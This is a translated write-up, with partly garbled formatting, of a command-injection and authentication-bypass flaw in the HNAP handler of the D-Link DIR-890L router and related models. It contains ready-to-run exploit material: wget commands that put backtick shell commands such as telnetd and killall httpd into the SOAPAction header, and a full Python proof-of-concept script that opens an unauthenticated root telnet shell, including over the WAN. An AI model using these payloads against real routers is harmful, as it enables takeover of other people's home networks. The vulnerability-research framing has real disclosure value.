Hack D-Link DIR-890L

Original author: Craig
  • Transfer
The last 6 months, I was terribly busy and did not follow the new crap from D-Link. To have some fun, I went to their website, and I was greeted by this nightmare:

Insane router
the craziest router D-Link DIR-890L $ 300

Perhaps the most "crazy" in the router is that it runs all the same zabagovannoy firmware that D-Link has been putting in its routers for several years ... and the hits just keep on coming.

Well, let's do it as usual - take the latest firmware , go through binwalk on it and see what we got:

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------00x0             DLOB firmware header, boot partition: "dev=/dev/mtdblock/7"
1160x74            LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes
18351240x1C0074        PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes
18351560x1C0094        Squashfs filesystem, little endian, version4.0, compress

It looks like regular Linux firmware, and if you looked at any D-Link firmware over the past few years, you can easily remember the directory structure:

$ ls squashfs-root
bin  dev  etc  home  htdocs  include  lib  mnt  mydlink  proc  sbin  sys  tmp  usr  var  www

Everything related to HTTP, UPnP, and HNAP is located in the htdocs directory. The most interesting file here is htdocs / cgibin - an ELF binary for ARM, which is run by a web server for, hmm, almost everything: all symlinks to CGI, UPnP and HNAP links lead to this file:

$ ls -l htdocs/web/*.cgi
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/captcha.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/fwup.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/seama.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/service.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin

It is, of course, stripped, but it has many lines that will help us. In the first place, mainit compares argv[0]with a list of famous names he symlinks ( captcha.cgi, conntrack.cgi, etc.) to determine what action to perform:

staircase
Call graph, the typical cascade of if / else

Each comparison is done by calling strcmp on the well-known names of symbolic links: Various functions handlers various symlinks to to simplify the comparison of handler functions and symlinks, rename them according to the symlink name: Renamed handler functions Now that we have the function names, let's start looking for bugs. Other devices from D-Link, running the exact same firmware, were previously hacked through HTTP and

image




image


UPnP interfaces, however, it seems that no one really looked at the HNAP interface that the function handles hnap_mainin cgibin.

HNAP (Home Network Administration Protocol) is a SOAP-based protocol similar to UPnP, which is usually used by the utility for initial configuration of D-Link routers “EZ”. Unlike UPnP, all HNAP activities except GetDeviceInfo(which is useless) require HTTP Basic authentication.

POST /HNAP1 HTTP/1.1
Host: 192.168.0.1
Authorization: Basic YWMEHZY+
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping"
<?xml version="1.0" encoding="utf-8"?><soap:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:xsd="http://www.w3.org/2001/XMLSchema"xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMappingxmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

The header is SOAPActionvery important in the HNAP request, as it is he who determines what action the server will perform (the action AddPortMappingin the example above).

Due to the fact that it is cgibinlaunched as a CGI application by a web server, it hnap_mainreceives HNAP request data, for example, a header SOAPAction, via environment variables:

image
SOAPAction = getenv (“HTTP_SOAPACTION”);

Toward the end hnap_main, sprintfa shell command is generated by the call , which is then executed via system:

image
sprintf (command, “sh% s% s.sh> / dev / console”, “/ var / run /”, SOAPAction);

Obviously, hnap_mainusing the data from the header SOAPActioninside the command system! This bug is promising, especially if the titleSOAPActionnot shielded, and if we can get to this place without authentication.

At the beginning hnap_main, it is checked whether the header is equal to the SOAPActionstring purenetworks.com/HNAP1/GetDeviceSettings, and if it is equal, authentication is skipped. This is expected, we already noticed earlier that it GetDeviceSettingsdoes not require authentication: if (strstr (SOAPAction, “http://purenetworks.com/HNAP1/GetDeviceSettings”)! = NULL) Note, however, that a function is used to verify that only checks the presence of a line in the header , and not equality to it. So, if the header contains a substring , the function retrieves the action name (i.e. ) from the header and removes the double quotes: SOAPAction = strrchr (SOAPAction, '/'); Action Name (

image


strstrpurenetworks.com/HNAP1/GetDeviceSettingsSOAPAction
SOAPActionpurenetworks.com/HNAP1/GetDeviceSettingsGetDeviceSettings

image


GetDeviceSettings) is extracted from the header, then gets into system, passing sprintf.
Here is the C code that demonstrates an error in the logic:

/* Grab a pointer to the SOAPAction header */
SOAPAction = getenv("HTTP_SOAPACTION");
/* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL)
{
    /* do auth check */
}
/* Do a reverse search for the last forward slash in the SOAPAction header */
SOAPAction = strrchr(SOAPAction, '/');
if(SOAPAction != NULL)
{
    /* Point the SOAPAction pointer one byte beyond the last forward slash */
    SOAPAction += 1;
    /* Get rid of any trailing double quotes */if(SOAPAction[strlen(SOAPAction)-1] == '"')
    {
        SOAPAction[strlen(SOAPAction)-1] = '\0';
    }
}
else
{
    goto failure_condition;
}
/* Build the command using the specified SOAPAction string and execute it */sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction);
system(command);

So, what have we learned from this:
  • There is no authentication check if SOAPActionthere is a substring in the header purenetworks.com/HNAP1/GetDeviceSettings
  • In sprintf(s system) is transmitted whatever is after the last slash titleSOAPAction

We can easily create a header SOAPActionthat will satisfy the authentication pass and allow us to pass our line to system:
SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"

purenetworks.com/HNAP1/GetDeviceSettingsin the header allows us to bypass authentication, and the string `reboot`will be passed tosystem
system("sh /var/run/`reboot`.sh > /dev/console");

By replacing it reboot, telnetdwe will start the telnet server without authentication:
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"'http://192.168.0.1/HNAP1
$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
BusyBox v1.14.1 (2015-02-1117:15:51 CST) built-in shell (msh)
Enter 'help'for a list of built-in commands.
# 

We can send HNAP requests from the WAN if remote administration has been enabled. Of course, the firewall blocks all incoming telnet connections from the WAN. The simplest solution is to kill the HTTP server and run telnetd on its port:
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"'http://1.2.3.4:8080/HNAP1
$ telnet 1.2.3.48080
Trying 1.2.3.4...
Connected to 1.2.3.4.
Escape character is '^]'.
BusyBox v1.14.1 (2015-02-1117:15:51 CST) built-in shell (msh)
Enter 'help'for a list of built-in commands.
# 

I will notice that wget will hang in anticipation of an answer, as cgibinwill wait for telnetd to complete. Here's a little Python PoC that makes things a little more convenient:
#!/usr/bin/env pythonimport sys
import urllib2
import httplib
try:
    ip_port = sys.argv[1].split(':')
    ip = ip_port[0]
    if len(ip_port) == 2:
        port = ip_port[1]
    elif len(ip_port) == 1:
        port = "80"else:
        raise IndexError
except IndexError:
    print"Usage: %s <target ip:port>" % sys.argv[0]
    sys.exit(1)
url = "http://%s:%s/HNAP1" % (ip, port)
# NOTE: If exploiting from the LAN, telnetd can be started on#       any port; killing the http server and re-using its port#       is not necessary.##       Killing off all hung hnap processes ensures that we can#       re-start httpd later.
command = "killall httpd; killall hnap; telnetd -p %s" % port
headers = {
            "SOAPAction"    : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command,
          }
req = urllib2.Request(url, None, headers)
try:
    urllib2.urlopen(req)
    raise Exception("Unexpected response")
except httplib.BadStatusLine:
    print"Exploit sent, try telnetting to %s:%s!" % (ip, port)
    print"To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'"
    sys.exit(0)
except Exception:
    print"Received an unexpected response from the server; exploit probably failed. :("

I checked this bug on firmware v1.00 and v1.03 (the latter at the time of writing), and they are both vulnerable. But, as is usually the case with most vulnerabilities in embedded, this code also got into the firmware of other devices.

Analyzing all the firmware is rather tedious, so I passed the information about the bug to the Centrifuge team , which have a difference in the utility for automatically analyzing such things. Centrifuge discovered this vulnerability in the following models:
  • DAP-1522 revB
  • DAP-1650 revB
  • DIR-880L
  • DIR-865L
  • DIR-860L revA
  • DIR-860L revB
  • DIR-815 revB
  • DIR-300 revB
  • DIR-600 revB
  • DIR-645
  • TEW-751DR
  • TEW-733GR

As far as I know, HNAP cannot be disabled on these devices in any way.

UPDATE: It seems that at the beginning of the year Samuel Huntly found the same bug , but it was fixed only for DIR-645. The patch is bad enough, wait for it to be parsed in the next post.

Also popular now: